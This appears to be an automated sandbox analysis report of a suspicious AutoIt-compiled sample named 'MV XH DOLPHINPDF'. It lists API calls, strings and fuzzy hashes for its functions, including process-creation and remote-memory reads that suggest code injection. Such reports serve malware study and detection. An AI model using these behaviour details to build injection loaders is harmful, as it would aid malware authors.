ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 000830DC
LoadIconW.USER32(000000A9), ref: 000830F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00083101

Strings

AutoIt v3 GUI, xrefs: 00083090
+, xrefs: 0008305D
TaskbarCreated, xrefs: 000830A4
0, xrefs: 00083056

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: aa36d2060275b0076fb728a31f1c5db93256f505cd1364445353e334bd63637f
Instruction ID: 2398367b8ede9303649daf718398555b2e8b4b4af09a81140911622a81b39360
Opcode Fuzzy Hash: aa36d2060275b0076fb728a31f1c5db93256f505cd1364445353e334bd63637f
Instruction Fuzzy Hash: 8121C7B5900319EFDB10DFA4EC4ABDDBBF4FB0A704F00412AF550A6AA0D7B545858F92

Function 000871EB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00084864: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,001462F8,?,000837C0,?), ref: 00084882

Part of subcall function 000A074F: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,000872C5), ref: 000A0771

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00087308
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 000BECF1
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 000BED32
RegCloseKey.ADVAPI32(?), ref: 000BED70
_wcscat.LIBCMT ref: 000BEDC9

Strings

\, xrefs: 000BEDEC
Software\AutoIt v3\AutoIt, xrefs: 000872FE
\Include\, xrefs: 000872C5
Include, xrefs: 000BECE8, 000BED29

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 52fc111b826e876d6b847c56382888829edeebd3ac2c74d4c09b6716b27a093e
Instruction ID: bc23f7cc6cbe56a2c567af6c7f27eff40570a9c8bd4ad24a09dc09b357267f2a
Opcode Fuzzy Hash: 52fc111b826e876d6b847c56382888829edeebd3ac2c74d4c09b6716b27a093e
Instruction Fuzzy Hash: 9C716B755083019EC314EF65DC81DDBB7E8BF5A740B44482EF485935B2EBB09989CBA2

Function 00083A58 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00083A62
LoadCursorW.USER32(00000000,00007F00), ref: 00083A71
LoadIconW.USER32(00000063), ref: 00083A88
LoadIconW.USER32(000000A4), ref: 00083A9A
LoadIconW.USER32(000000A2), ref: 00083AAC
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00083AD2
RegisterClassExW.USER32(?), ref: 00083B28

Part of subcall function 00083041: GetSysColorBrush.USER32(0000000F), ref: 00083074
Part of subcall function 00083041: RegisterClassExW.USER32(00000030), ref: 0008309E
Part of subcall function 00083041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 000830AF
Part of subcall function 00083041: InitCommonControlsEx.COMCTL32(?), ref: 000830CC
Part of subcall function 00083041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 000830DC
Part of subcall function 00083041: LoadIconW.USER32(000000A9), ref: 000830F2
Part of subcall function 00083041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00083101

Strings

AutoIt v3, xrefs: 00083B17
0, xrefs: 00083B06
#, xrefs: 00083B0D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: cfc2fc0d88a4ae1164fe87103a44ee246de48841efacf7c36022938257813c97
Instruction ID: 9b54d46325bc5cdc1aac7a9bfc24f6c873b79aaadc3d52a65f8f71d84081770b
Opcode Fuzzy Hash: cfc2fc0d88a4ae1164fe87103a44ee246de48841efacf7c36022938257813c97
Instruction Fuzzy Hash: A7212D79900304BFEB109FA4EC0AF9D7BB4FB0A719F00412AF544A6AB0D7F955948F56

Function 00083633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 000836D2
KillTimer.USER32(?,00000001), ref: 000836FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0008371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0008372A
CreatePopupMenu.USER32 ref: 0008373E
PostQuitMessage.USER32(00000000), ref: 0008375F

Strings

TaskbarCreated, xrefs: 00083725

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: ab57e6584f883529706428e9cd5030132157cc8ccbccc62d28df494d44c50105
Instruction ID: 82a2fd5d77384b6249a7d8efa7e3772adf5c1ef351784d9360e4aa6295abba65
Opcode Fuzzy Hash: ab57e6584f883529706428e9cd5030132157cc8ccbccc62d28df494d44c50105
Instruction Fuzzy Hash: 804127B5204106BBDB707F28DC4ABBD3795F782B00F140529F5C2926B2EBA0DE959363

Function 00083778 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/ErrorStdOut, xrefs: 0008388F
/AutoIt3ExecuteLine, xrefs: 000838B9
CMDLINE, xrefs: 00083834
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 000837C0
CMDLINERAW, xrefs: 0008380D
/AutoIt3ExecuteScript, xrefs: 000838CE
/AutoIt3OutputDebug, xrefs: 000838A4

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW
API String ID: 1825951767-3513169116
Opcode ID: 3487cf7773aa7fd842ee2ddef6f9bca127a1c8d7586662af23b755e269cafe7f
Instruction ID: fac58cfc2eae9f0ede44ed841829e59592c345b4bf1c7f0a8df61afd2c5b6c38
Opcode Fuzzy Hash: 3487cf7773aa7fd842ee2ddef6f9bca127a1c8d7586662af23b755e269cafe7f
Instruction Fuzzy Hash: 22A17171910229AACF14FFA0CC95EEEB7B8BF55700F440429F496B7192EF749A09CB61

Function 01DD2630 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 01DD2701
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 01DD2927

Memory Dump Source

Source File: 00000000.00000002.1990535950.0000000001DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1dd0000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: 640a513b0a1dc75cf27b9d1dcd7263df352c7e5bc7e4f1208c2f85c57f315c64
Instruction ID: 522b73b1c325c2f45876a71295d9b2b03e0e504021bc9f467ee1eed6d47a919a
Opcode Fuzzy Hash: 640a513b0a1dc75cf27b9d1dcd7263df352c7e5bc7e4f1208c2f85c57f315c64
Instruction Fuzzy Hash: CBA10774E00209EBDF14CFA4C995BEEBBB5FF48304F208159E615BB280D7799A41CB65

Function 000839E7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00083A15
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00083A36
ShowWindow.USER32(00000000,?,?), ref: 00083A4A
ShowWindow.USER32(00000000,?,?), ref: 00083A53

Strings

AutoIt v3, xrefs: 00083A0D, 00083A12, 00083A13
edit, xrefs: 00083A30

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 81d60691675ccf72ec5850d6178632655e8452c3b1c8741843b178107dc7b581
Instruction ID: cef2cae94522c34fbf08e695930bb834860b3d868e0bcf3c57e129e50e813cf3
Opcode Fuzzy Hash: 81d60691675ccf72ec5850d6178632655e8452c3b1c8741843b178107dc7b581
Instruction Fuzzy Hash: F0F0DA79641290BEEB311B276C49E6B3E7DE7C7F54B00412EB904A29B0C6E51891DAB2

Function 01DD2410 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 139
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01DD2300: Sleep.KERNELBASE(000001F4), ref: 01DD2311

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 01DD251C

Strings

P7PBW6FR80TCT, xrefs: 01DD257F, 01DD2582

Memory Dump Source

Source File: 00000000.00000002.1990535950.0000000001DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1dd0000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CreateFileSleep
String ID: P7PBW6FR80TCT
API String ID: 2694422964-170868634
Opcode ID: 452c2c7966a9b0a7b308607477fc4ed4db18fabfd7956ecbf61d4ff269f1bd4a
Instruction ID: a65797935563088f64f1dac6f9489c38cac59036b139d50303fd50c4f5ecc8ee
Opcode Fuzzy Hash: 452c2c7966a9b0a7b308607477fc4ed4db18fabfd7956ecbf61d4ff269f1bd4a
Instruction Fuzzy Hash: 41517F31D04249EBEF15DBA4C854BEFBB79AF48300F404199E209BB2C0DB795B49CBA5

Function 0008410D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 000BD5EC

Part of subcall function 00087D2C: _memmove.LIBCMT ref: 00087D66

_memset.LIBCMT ref: 0008418D
_wcscpy.LIBCMT ref: 000841E1
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 000841F1

Strings

Line: , xrefs: 000BD615

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 476dc9cbfbe2dc79060973e0e86e959df00414a6e8363e17762fd72c804db006
Instruction ID: 02ab2a15670dcefa4eca5fefe4a58e06f1aeb3a008c4cc09fd832208fd513ab5
Opcode Fuzzy Hash: 476dc9cbfbe2dc79060973e0e86e959df00414a6e8363e17762fd72c804db006
Instruction Fuzzy Hash: 2B31A1710083056AD771FB64DC46FDB77E8BF56304F10452EB1C9920A2EBB4A689C797

Function 000A564D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 000A56AB
_memcpy_s.LIBCMT ref: 000A571D
__read_nolock.LIBCMT ref: 000A577B
__filbuf.LIBCMT ref: 000A579E
_memset.LIBCMT ref: 000A57E2

Part of subcall function 000A8D68: __getptd_noexit.LIBCMT ref: 000A8D68

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: cbc132a2d90f1fa170c901e77712e707e3c45fd9b9f6dd10e42efcbbdaed9f46
Instruction ID: 7ffde339e3f12dc05c61a3b8e38f4265dd475b45335a639e3e0daf6d171cd4f8
Opcode Fuzzy Hash: cbc132a2d90f1fa170c901e77712e707e3c45fd9b9f6dd10e42efcbbdaed9f46
Instruction Fuzzy Hash: 8E51BF31A04B05DBDB648FE9EC846AEB7F1BF42322F648729F825A72D1D7709D509B40

Function 000869CA Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00084F3D: LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,001462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00084F6F

_free.LIBCMT ref: 000BE68C
_free.LIBCMT ref: 000BE6D3

Part of subcall function 00086BEC: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00086D0D

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 000BE462
Bad directive syntax error, xrefs: 000BE6BB

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: 9bc34d5c0602f72fe11fea7bff0b838dc1242e1f70e9a050b9f4a95bebe95e4e
Instruction ID: 1bb1bdf6d252891d3d3eb3103c51f456ba5265c514fed654bf12f0d3f61c3691
Opcode Fuzzy Hash: 9bc34d5c0602f72fe11fea7bff0b838dc1242e1f70e9a050b9f4a95bebe95e4e
Instruction Fuzzy Hash: 4B919D71910259EFCF14EFA4CC919EDB7B4FF19314F14446AF856AB2A2EB30A905CB60

Function 000835B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,000835A1,SwapMouseButtons,00000004,?), ref: 000835D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,000835A1,SwapMouseButtons,00000004,?,?,?,?,00082754), ref: 000835F5
RegCloseKey.KERNELBASE(00000000,?,?,000835A1,SwapMouseButtons,00000004,?,?,?,?,00082754), ref: 00083617

Strings

Control Panel\Mouse, xrefs: 000835D2

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 2644a6c91c2a15e647c7f58e6a76875350bb3e69106e69c1e90eb3b556e20fad
Instruction ID: 35c6162d5c69da704833323d2c0c674dd986a47ad904ed9a156a6bff6285f85c
Opcode Fuzzy Hash: 2644a6c91c2a15e647c7f58e6a76875350bb3e69106e69c1e90eb3b556e20fad
Instruction Fuzzy Hash: 50115775610208BFDB209F68DC85EAFBBB9FF84B40F008469F845D7214E2719F619BA0

Function 01DD1300 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01DD1ABB
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01DD1B51
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01DD1B73

Memory Dump Source

Source File: 00000000.00000002.1990535950.0000000001DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1dd0000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: a5f8eca76df1c4d60a387bf050efe929c827b8bdc82418feca4108ede207e1c1
Instruction ID: a25b2f4d6e174741c9a7c8cb8c87a1d53ce0ff997fdd97f5ce5d92b5562d670d
Opcode Fuzzy Hash: a5f8eca76df1c4d60a387bf050efe929c827b8bdc82418feca4108ede207e1c1
Instruction Fuzzy Hash: 7C620B70A14258DBEB24CFA4C850BDEB776EF58300F1091A9D20DEB3A4E7759E81CB59

Function 000A493A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000A49D0
__flush.LIBCMT ref: 000A49F0
__write.LIBCMT ref: 000A4A23
__flsbuf.LIBCMT ref: 000A4A51

Part of subcall function 000A8D68: __getptd_noexit.LIBCMT ref: 000A8D68

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 14470a6213cb86a88b8286372661136e60ed3d9327b1e96cf2061ba74b92ecb7
Instruction ID: 7ee50ba2f5e45e9395d8ab42bd612cb5d4234a6f731f0c86844b219b2b37996c
Opcode Fuzzy Hash: 14470a6213cb86a88b8286372661136e60ed3d9327b1e96cf2061ba74b92ecb7
Instruction Fuzzy Hash: EC41E3386007069BDF28CEE9C8809AF77E6EFD2360B24823DE855C7640E7F09D508B45

Function 000873E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000BEE62
GetOpenFileNameW.COMDLG32(?), ref: 000BEEAC

Part of subcall function 000848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,000848A1,?,?,000837C0,?), ref: 000848CE

Part of subcall function 000A09D5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 000A09F4

Strings

X, xrefs: 000BEE7A

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: a95aa65009c06964f9358830a676f258e50a798a424321239e75a387d4bf7aae
Instruction ID: 1cb9adf6528dfd4c744a8d26d468505fb21a07986075678f01ffcf4e12d66611
Opcode Fuzzy Hash: a95aa65009c06964f9358830a676f258e50a798a424321239e75a387d4bf7aae
Instruction Fuzzy Hash: 4921A470A002989BCF51EF94C845BEE7BFCAF49314F10401AE548A7282DBF499898F91

Function 000E901B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000E9036
__fread_nolock.LIBCMT ref: 000E904B

Strings

EA06, xrefs: 000E907D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: b6b4bc109427ae0b3544bdd913691d432150379b99908ff9d2e57dccdf89d58b
Instruction ID: cf44eec82f8f75a255836b83a6ecf5deba18b32c4089d4a84b95e2edca7a5b24
Opcode Fuzzy Hash: b6b4bc109427ae0b3544bdd913691d432150379b99908ff9d2e57dccdf89d58b
Instruction Fuzzy Hash: 4501B9719042586EDB28C7A9CC56EEE7BF89B15301F00419AF552E2181E5B9A6048B60

Function 000E9B6D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 000E9B82
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 000E9B99

Strings

aut, xrefs: 000E9B93

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 9c4e22e1c182866c2e8ec751789a593236232127ad24d2ce5bdd4eb60bd93505
Instruction ID: 218d1873e8cf7b44f44159b53aa76feb56bf15a9a08685316c0caf762d87579f
Opcode Fuzzy Hash: 9c4e22e1c182866c2e8ec751789a593236232127ad24d2ce5bdd4eb60bd93505
